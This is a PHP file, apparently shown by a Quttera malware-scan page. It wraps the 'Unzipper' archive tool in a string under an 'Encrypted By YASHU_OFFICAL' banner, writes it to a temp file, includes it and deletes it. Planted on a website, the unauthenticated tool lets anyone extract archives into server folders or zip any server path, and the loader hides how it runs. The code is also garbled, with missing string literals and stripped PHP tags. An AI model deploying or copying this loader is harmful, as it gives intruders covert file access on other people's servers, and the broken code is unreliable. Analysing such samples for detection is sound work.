// ======= Encrypted By YASHU_OFFICAL =======
$data = /**
* The Unzipper extracts .zip or .rar archives and .gz files on webservers.
* It also supports creating Zip archives.
*
* @author Andreas Tasch, at[tec], attec.at
* @license GNU GPL v3
* @version 0.1.0
*/
@set_time_limit(600);
define('VERSION', '0.1.0');
$timestart = microtime(TRUE);
$GLOBALS['status'] = array();
$unzipper = new Unzipper;
//Unzip Archive
if(isset($_POST['dounzip'])){
//check if an archive was selected for unzipping
$archive = isset($_POST['zipfile']) ? strip_tags($_POST['zipfile']) :'';
$destination = isset($_POST['extpath']) ? strip_tags($_POST['extpath']) :'';
$unzipper->prepareExtraction($archive, $destination);
}
//Create zip archive
if(isset($_POST['dozip'])){
$zippath = !empty($_POST['zippath']) ? strip_tags($_POST['zippath']) :;
// Resulting zipfile e.g. zipper--2016-07-23--11-55.zip
$zipfile = 'zipper-'. date('Y-m-d--H-i') .'.zip';
Zipper::zipDir($zippath, $zipfile);
}
$timeend = microtime(TRUE);
$time = $timeend - $timestart;
/**
* Class Unzipper
*/
class Unzipper {
public $localdir =;
public $zipfiles = array();
public function __construct(){
//read directory and pick .zip and .gz files
if($dh = opendir($this->localdir)){
while (($file = readdir($dh)) !== FALSE){
if(pathinfo($file, PATHINFO_EXTENSION)==='zip' || pathinfo($file, PATHINFO_EXTENSION)==='gz' || pathinfo($file, PATHINFO_EXTENSION)==='rar') $this->zipfiles[] = $file;
}
closedir($dh);
if(!empty($this->zipfiles)) $GLOBALS['status'] = array('info'=>'.zip or .gz or .rar files found, ready for extraction');
else $GLOBALS['status'] = array('info'=>'No .zip or .gz or rar files found. So only zipping functionality available.');
}
}
// Prepare and check zipfile for extraction
public function prepareExtraction($archive, $destination){
// Determine paths.
if(empty($destination)) $extpath = $this->localdir;
else {
$extpath = $this->localdir .'/'. $destination;
// todo move this to extraction function
if(!is_dir($extpath)) mkdir($extpath);
}
//allow only local existing archives to extract
if(in_array($archive, $this->zipfiles)) self::extract($archive, $extpath);
}
//Checks file extension and calls suitable extractor functions
public static function extract($archive, $destination){
$ext = pathinfo($archive, PATHINFO_EXTENSION);
switch($ext){
case 'zip':
self::extractZipArchive($archive, $destination);
break;
case 'gz':
self::extractGzipFile($archive, $destination);
break;
case 'rar':
self::extractRarArchive($archive, $destination);
break;
}
}
//Decompress/extract a zip archive using ZipArchive
public static function extractZipArchive($archive, $destination){
// Check if webserver supports unzipping.
if(!class_exists('ZipArchive')){
$GLOBALS['status'] = array('error'=>'Error: Your PHP version does not support unzip functionality.');
return;
}
$zip = new ZipArchive;
// Check if archive is readable.
if($zip->open($archive)===TRUE){
// Check if destination is writable
if(is_writeable($destination .'/')){
$zip->extractTo($destination);
$zip->close();
$GLOBALS['status'] = array('success'=>'Files unzipped successfully');
}
else $GLOBALS['status'] = array('error'=>'Error: Directory not writeable by webserver.');
}
else $GLOBALS['status'] = array('error'=>'Error: Cannot read .zip archive.');
}
// Decompress a .gz File
public static function extractGzipFile($archive, $destination){
// Check if zlib is enabled
if(!function_exists('gzopen')){
$GLOBALS['status'] = array('error'=>'Error: Your PHP has no zlib support enabled.');
return;
}
$filename = pathinfo($archive, PATHINFO_FILENAME);
$gzipped = gzopen($archive, 'rb');
$file = fopen($filename, 'w');
while($string = gzread($gzipped, 4096)) fwrite($file, $string, strlen($string));
gzclose($gzipped);
fclose($file);
// Check if file was extracted.
if(file_exists($destination .'/'. $filename)) $GLOBALS['status'] = array('success'=>'File unzipped successfully.');
else $GLOBALS['status'] = array('error'=>'Error unzipping file.');
}
//Decompress/extract a Rar archive using RarArchive
public static function extractRarArchive($archive, $destination){
// Check if webserver supports unzipping.
if(!class_exists('RarArchive')){
$GLOBALS['status'] = array('error'=>'Error: Your PHP version does not support .rar archive functionality. <a class="info" href="http://php.net/manual/en/rar.installation.php" target="_blank">How to install RarArchive</a>');
return;
}
// Check if archive is readable.
if($rar = RarArchive::open($archive)){
// Check if destination is writable
if(is_writeable($destination .'/')){
$entries = $rar->getEntries();
foreach ($entries as $entry){
$entry->extract($destination);
}
$rar->close();
$GLOBALS['status'] = array('success'=>'Files extracted successfully.');
}
else $GLOBALS['status'] = array('error'=>'Error: Directory not writeable by webserver.');
}
else $GLOBALS['status'] = array('error'=>'Error: Cannot read .rar archive.');
}
}
/**
* Class Zipper
*
* Copied and slightly modified from http://at2.php.net/manual/en/class.ziparchive.php#110719
* @author umbalaconmeogia
*/
class Zipper {
/**
* Add files and sub-directories in a folder to zip file.
*
* @param string $folder
* Path to folder that should be zipped.
*
* @param ZipArchive $zipFile
* Zipfile where files end up.
*
* @param int $exclusiveLength
* Number of text to be exclusived from the file path.
*/
private static function folderToZip($folder, &$zipFile, $exclusiveLength){
$handle = opendir($folder);
while(FALSE !== $f = readdir($handle)){
// Check for local/parent path or zipping file itself and skip.
if($f != && $f != '..' && $f != basename(__FILE__)){
$filePath = $folder .'/'. $f;
// Remove prefix from file path before add to zip.
$localPath = substr($filePath, $exclusiveLength);
if(is_file($filePath)) $zipFile->addFile($filePath, $localPath);
else if(is_dir($filePath)){
// Add sub-directory.
$zipFile->addEmptyDir($localPath);
self::folderToZip($filePath, $zipFile, $exclusiveLength);
}
}
}
closedir($handle);
}
/**
* Zip a folder (including itself).
* Usage:
* Zipper::zipDir('path/to/sourceDir', 'path/to/out.zip');
*
* @param string $sourcePath
* Relative path of directory to be zipped.
*
* @param string $outZipPath
* Relative path of the resulting output zip file.
*/
public static function zipDir($sourcePath, $outZipPath){
$pathInfo = pathinfo($sourcePath);
$parentPath = $pathInfo['dirname'];
$dirName = $pathInfo['basename'];
$z = new ZipArchive();
$z->open($outZipPath, ZipArchive::CREATE);
$z->addEmptyDir($dirName);
if($sourcePath == $dirName) self::folderToZip($sourcePath, $z, 0);
else self::folderToZip($sourcePath, $z, strlen($parentPath.'/'));
$z->close();
$GLOBALS['status'] = array('success'=>'Successfully created archive '. $outZipPath);
}
}
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8" />
<title>File Unzipper, Unrar + Zipper</title>
<style>
</style>
</head>
<body>
<p class="status status--echo strtoupper(key($GLOBALS['status']));">
Status: echo reset($GLOBALS['status']);<br/>
<span class="small">Processing Time: echo $time; seconds</span>
</p>
<form action="" method="POST">
<fieldset>
<h1>Archive Unzipper</h1>
<label for="zipfile">Select .zip or .rar archive or .gz file you want to extract:</label>
<select name="zipfile" size="1" class="select">
foreach($unzipper->zipfiles as $zip) echo "<option>$zip</option>";
</select>
<label for="extpath">Extraction path (optional):</label>
<input type="text" name="extpath" class="form-field" />
<p class="info">Enter extraction path without leading or trailing slashes (e.g. "mypath"). If left empty current directory will be used.</p>
<input type="submit" name="dounzip" class="submit" value="Unzip Archive"/>
</fieldset>
<fieldset>
<h1>Archive Zipper</h1>
<label for="zippath">Path that should be zipped (optional):</label>
<input type="text" name="zippath" class="form-field" />
<p class="info">Enter path to be zipped without leading or trailing slashes (e.g. "zippath"). If left empty current directory will be used.</p>
<input type="submit" name="dozip" class="submit" value="Zip Archive"/>
</fieldset>
</form>
<p class="version">Unzipper version: echo VERSION;</p>
</body>
</html>;
$file = tempnam(sys_get_temp_dir(), 'enc');
file_put_contents($file, $data);
include $file;
unlink($file);
© 2023 Quttera Ltd. All rights reserved.